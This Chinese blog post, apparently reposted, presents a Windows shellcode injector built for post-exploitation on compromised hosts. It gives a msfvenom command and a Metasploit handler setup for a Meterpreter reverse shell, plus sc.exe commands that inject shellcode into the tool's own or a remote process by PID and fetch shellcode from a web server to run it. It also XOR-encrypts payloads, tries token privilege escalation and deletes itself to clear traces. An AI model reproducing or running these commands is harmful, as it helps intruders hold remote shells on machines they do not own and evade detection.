Metasploit 线程代码注入工具 [首发]


前段时间,本人实现过一款远程ShellCode注入器,但由于实现的比较仓促所以在参数解析上只是简单的传递非常的难以记忆和使用,今天借着有时间我将程序的参数进行了规范化,以及分类,不同的分类功能放在不同的位置,使用起来能更加清晰。

该工具主要用于后渗透使用,当我们拿到目标主机的权限时,可以直接将该工具传输到对端并在命令行下执行注入命令,如果是服务器那么多半常年不关机,这样使用进程注入功能将Metasploit生成的代码直接注入到进程中,是很方便的。

目前只支持32位ShellCode注入32位系统或用户进程中,64位暂时未经过测试,推荐32位版,并使用以下配置生成ShellCode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.116 LPORT=9999 -f c

后端载荷推荐使用以下配置

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.116
set lport 9999


工具的具体参数解析如下:


Show 输出系统可注入进程: 该命令可以列举出目前系统中支持注入的进程,在原版本中存在Bug,这个版本中修复了,目前只显示可以注入的进程。


Promote 尝试使用令牌提权: 该命令可以尝试提升自身权限,不过多半提权会是失败的,但也可以试试。


Delself 清除自身痕迹: 当我们完成远程注入后,记得将自身在系统中删除,此时的ShellCode直接在目标进程中安家了,不需要注入器了。


Format 格式化为一行: 将Metasploit生成的ShellCode保存为文件,然后使用该命令直接将其格式化为一行。

在保存ShellCode的时候,请不要保存头部的定义部分,只保存以下代码即可。

执行命令,指定路径,即可将这段shellcode压缩为一行。

sc.exe Format --path d://shellcode.txt


FormatFile 格式化并写出: 这个格式化函数作用与上方相同,只不过可以直接写出到文件中,在你只有一个cmd权限时,可以使用。

sc.exe FormatFile --path d://shellcode.txt --output d://format.txt


Xor 加密/解密字符串: 如上我们可以将shellcode压缩为一行,然后可以调用xor命令,对这段shellcode进行加密处理。

sc.exe Xor --path d://format.txt --passwd lyshark


Xchg 压缩字符串转字节数组: 将一段已经压缩过的shellcode代码转换为字节数组格式,这个格式可以直接使用。

sc.exe Xchg --input d://format.txt --output d://array.txt


XorArray 异或加密/解密字节数组: 将字节数组整体加密或解密为字节数组,无需在程序代码中转换,使用更方便。

sc.exe XorArray --path d://array.txt --passwd lyshark


InjectSelfShell 自身注入反弹: 将一段压缩过的shellcode注入到自身进程并反弹。

sc.exe InjectSelfShell --shellcode fce88f0000006031d2648b52308b520c***


InjectArrayByte 注入字节数组到自身进程: 由于字节数组无法直接命令行方式传递,所以只能在文件中获取并压缩解码反弹。

sc.exe InjectArrayByte --path d://shellcode.txt


FileInjectShell 从文件中读入并注入: 从文件中读入一段已经压缩过的shellcode并执行反弹。

sc.exe FileInjectShell --path d://format.txt


InjectProcShell 注入字符串到远程进程: 该功能主要用于将代码注入到远程进程中,此处参数已经规范化。

首先使用show命令寻找一个支持注入的进程,此处我们以远程桌面程序为例。

注入时,携带PID与shellcode代码即可。

sc.exe InjectProcShell --pid 17948 --shellcode fce88f0000006031d2648b52308b520c89e****


InjectWebShell 从远程加载注入: 从远程Web服务器上获取到需要注入的代码,然后进行注入。

web服务器可以使用shellcode远程加载器中的web服务器模块,如下我启动服务器后,访问到的shellcode代码。

Server.exe RunServer --type http --listen 80

Web服务器也可以使用Apache等中间件,都可以,打开后确保web页面能别访问到。

随后使用注入器,将在远程加载shellcode并注入运行。

sc.exe InjectWebShell --address 127.0.0.1 --payload shellcode.raw


EncodeInFile 直接运行加密后的shellcode: 加密模块可以直接运行被加密过后的shellcode并反弹,注入时需要传递解码密码。

sc.exe EncodeInFile --path d://encode.txt --passwd lyshark


EncodePidInFile 加密注入远程进程反弹: 直接注入加密后的代码到远程进程中,实现方式如上。

sc.exe EncodePidInFile --pid 17480 --path d://encode.txt --passwd lyshark


好了,暂时就这些功能,足够使用了。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM